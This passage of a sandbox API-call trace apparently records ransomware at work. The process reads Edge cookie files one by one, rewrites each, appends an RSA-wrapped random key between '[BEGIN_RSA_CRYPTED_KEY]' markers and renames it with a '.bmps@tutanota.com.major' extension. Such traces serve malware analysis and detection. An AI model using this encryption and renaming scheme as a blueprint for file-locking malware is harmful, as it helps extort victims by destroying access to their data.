(in: hFile=0x1b90, lDistanceToMove=-91, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.314] WriteFile (in: hFile=0x1b90, lpBuffer=0x5c7da0*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c7da0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5b, lpOverlapped=0x0) returned 1 [0300.314] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5b [0300.314] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.314] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.315] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.315] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.315] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.315] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="UhaLOorx/5Y95va6vvkNIIJ5pY/PtNTfthnYZxRK4dQMiE3WHd1kVh6CtN3s9ps0\nDr3o8UKnlpaVNeSe4sfm9DI0hlhgMoB0MfNWud1u+fN+3sKICWozReZTbq6DmsIy\nWsEncXqjkyFLzJ7W4I7DwGHSzmsPhjwENH4smaJ9U7Tax3V//NrsYPMTMUmQlIpN\nwl6h9/Ok5U+TgnIYZomHqzY8wV3ucNKrpX66tnOzLEzv0ZXWucOqqDTwzkMddF19\nlvDuG4z/Ls1JpJRTo08rGCdzBub4OMqlH8D6S0D2vGb/tvxpC76h9jIGLXqqzQC2\no81DWygjVjq3hh2XKrIRZA==\n", pcchString=0x2e3f9a8) returned 1 [0300.315] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.315] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.315] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.315] CloseHandle (hObject=0x1b90) returned 1 [0300.315] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GVXIDORE.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gvxidore.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GVXIDORE.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gvxidore.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.317] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.317] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GJQAXJS1.cookie", dwFileAttributes=0x80) returned 1 [0300.318] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GJQAXJS1.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gjqaxjs1.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.319] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=106) returned 1 [0300.319] ReadFile (in: hFile=0x1b90, lpBuffer=0x2f3e1d8, nNumberOfBytesToRead=0x6a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e1d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x6a, lpOverlapped=0x0) returned 1 [0300.320] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.320] WriteFile (in: hFile=0x1b90, lpBuffer=0x2f3e3b8*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e3b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6a, lpOverlapped=0x0) returned 1 [0300.320] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6a [0300.320] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.320] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.320] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.320] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.320] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.320] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="WAxX1uiUlMZAS0jKhFQhBMCkwQaSmBZYtd/BguHq1F6KdnPptXW4JP+vmGxnXDKv\ncagBGBvqNPPOnFmt2x70BraI/qA5FnIAehF/ARKmS55lps3nq+CL+8OB1+37ObI9\n0H+x1PTrKJuT3ySrIlOr1PpocA8yw+VuLXf+dqoTuIRPvqnTI6qG1Ozt7KGHnWKb\nt7h/D2FGThKEO26Qagfm+GqJ/dr5UFoE4VAU0AftqfG/PIY/EFus3/DoPPYsuPvW\n1HeReICL/F5QxkB0BzjzsMUDskhrpKYuoGQMVof9IYUQpIOnxRa/aO2VJqFxNsBC\n9gYDqi2VT0RlboOYOSgLeA==\n", pcchString=0x2e3f9a8) returned 1 [0300.320] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.321] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.321] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.321] CloseHandle (hObject=0x1b90) returned 1 [0300.321] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GJQAXJS1.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gjqaxjs1.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GJQAXJS1.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gjqaxjs1.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.325] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.325] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GI1ULL4B.cookie", dwFileAttributes=0x80) returned 1 [0300.326] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GI1ULL4B.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gi1ull4b.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.327] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=110) returned 1 [0300.327] ReadFile (in: hFile=0x1b90, lpBuffer=0x2f3e688, nNumberOfBytesToRead=0x6e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e688*, lpNumberOfBytesRead=0x2e3f9b4*=0x6e, lpOverlapped=0x0) returned 1 [0300.328] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-110, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.328] WriteFile (in: hFile=0x1b90, lpBuffer=0x2f3e0e8*, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e0e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6e, lpOverlapped=0x0) returned 1 [0300.328] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6e [0300.328] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.328] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.328] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.328] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.329] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.329] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="grnp1gaEe7Q04/6LmiwRUaf5w3txEdksdbSeWc6U0FiN1Ek9bEj0TZTCcPZnPKuS\nwJLW7Tl7UbQ6kpsYAYySMCugtGhbpTWdYlJiPx+tx2N8KMCtDIvuIyGHjnuxBIs/\nmB4+gF4R+qoNZi1n1slZSQ7NdzPCoTnFbbfInYeHtfpyP6NmSK7qdpVGBLxj8MKX\nfUoU+OCV7hJX11P0i1zsMeZNti97Ey5Sh2AAosKibvirq8SUxNJdDM+7UAcWa0vQ\nC6l2bUf8enHUY3Whq4bwKk1O7XnOYJ/cuhiQ+oqVaGL7mz85zU4S5q7vcNjSW3K2\nWdczYR0sb6bq09W8lXKETA==\n", pcchString=0x2e3f9a8) returned 1 [0300.329] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.329] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.329] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.329] CloseHandle (hObject=0x1b90) returned 1 [0300.329] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GI1ULL4B.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gi1ull4b.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GI1ULL4B.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gi1ull4b.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.331] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.331] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FN02L8WX.cookie", dwFileAttributes=0x80) returned 1 [0300.332] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FN02L8WX.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fn02l8wx.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.333] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=342) returned 1 [0300.333] ReadFile (in: hFile=0x1b90, lpBuffer=0x5adef0, nNumberOfBytesToRead=0x156, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5adef0*, lpNumberOfBytesRead=0x2e3f9b4*=0x156, lpOverlapped=0x0) returned 1 [0300.334] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-342, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.334] WriteFile (in: hFile=0x1b90, lpBuffer=0x5b3b90*, nNumberOfBytesToWrite=0x156, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b3b90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x156, lpOverlapped=0x0) returned 1 [0300.334] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x156 [0300.334] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.334] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.334] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.334] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.335] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.335] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="NOA4xE02YF2jTiJ96i4L+9gufJUk3tvSDqAWzEUVLrXOcvtOmpsn8pT3gdyOIpM2\nraCOW3RpL6gMl+MHNgh2qll/V53kp0R46Kba/7jY8Yprr5TN+u5tFtVH7d3X/etY\nDAeldD1abdkB++47Qbxi81vd6vQQwMoJHD13t1fpiMtZ/I6pPdypcJapDWXIDn8y\ngwAp5mt6eW0fvLCcVBey75KKKZYWXeLM+r27p0t4A4s9CwqK67KF5FA3/m8BwmnL\nxZ9s3sGToL8Ayzxq5r/daFVCFbOiGUqYSYAnhGner3dbdo/NJX+WEx0PULx+AHv6\nnfef9Dl+CASjmpo/4vk8Rg==\n", pcchString=0x2e3f9a8) returned 1 [0300.335] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.336] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.336] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.336] CloseHandle (hObject=0x1b90) returned 1 [0300.336] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FN02L8WX.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fn02l8wx.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FN02L8WX.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fn02l8wx.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.339] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.339] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FE83WYZ0.txt", dwFileAttributes=0x80) returned 1 [0300.339] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FE83WYZ0.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fe83wyz0.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.340] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=94) returned 1 [0300.340] ReadFile (in: hFile=0x1b90, lpBuffer=0x5c7e08, nNumberOfBytesToRead=0x5e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c7e08*, lpNumberOfBytesRead=0x2e3f9b4*=0x5e, lpOverlapped=0x0) returned 1 [0300.341] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-94, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.341] WriteFile (in: hFile=0x1b90, lpBuffer=0x5c7e70*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c7e70*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5e, lpOverlapped=0x0) returned 1 [0300.341] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5e [0300.341] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.341] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.341] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.341] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.341] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.342] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="eSaS32QYEe9ZMf/mGTapFqZhVHYGof8oks0vkTxojmuGuGplf/DOboJR1sJ7PECZ\nOtTCn1vmeJv0/OjHHT7TJvhUHmWjPoGnoG35CXYw8nXHajBQfy/beeTP5vPKLuwP\no3NttVv3uM5PO1wBHgW3HGvKjc896PQVNn3G6Y8WrjR4qwekMXmvlaTMRS15ai7p\n62baItGDdKtOFh8Og3QYk1VV7euHImrCXAoisiy1XiblvY/Y6PO6qGgEp81bOArb\naRL67TPLLpwAyz/H+GnRqJE4e9Lw6jtsZ3VJFsGkW+6K47comMk3/cdFU813LL7d\nx4+lNwe5SQwludONFuefAA==\n", pcchString=0x2e3f9a8) returned 1 [0300.342] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.342] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.342] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.342] CloseHandle (hObject=0x1b90) returned 1 [0300.342] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FE83WYZ0.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fe83wyz0.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FE83WYZ0.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fe83wyz0.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.344] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.344] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DMWBP500.cookie", dwFileAttributes=0x80) returned 1 [0300.344] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DMWBP500.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\dmwbp500.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.345] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=210) returned 1 [0300.345] ReadFile (in: hFile=0x1b90, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xd2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xd2, lpOverlapped=0x0) returned 1 [0300.346] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-210, lpDistanceToMoveHigh=0x0, 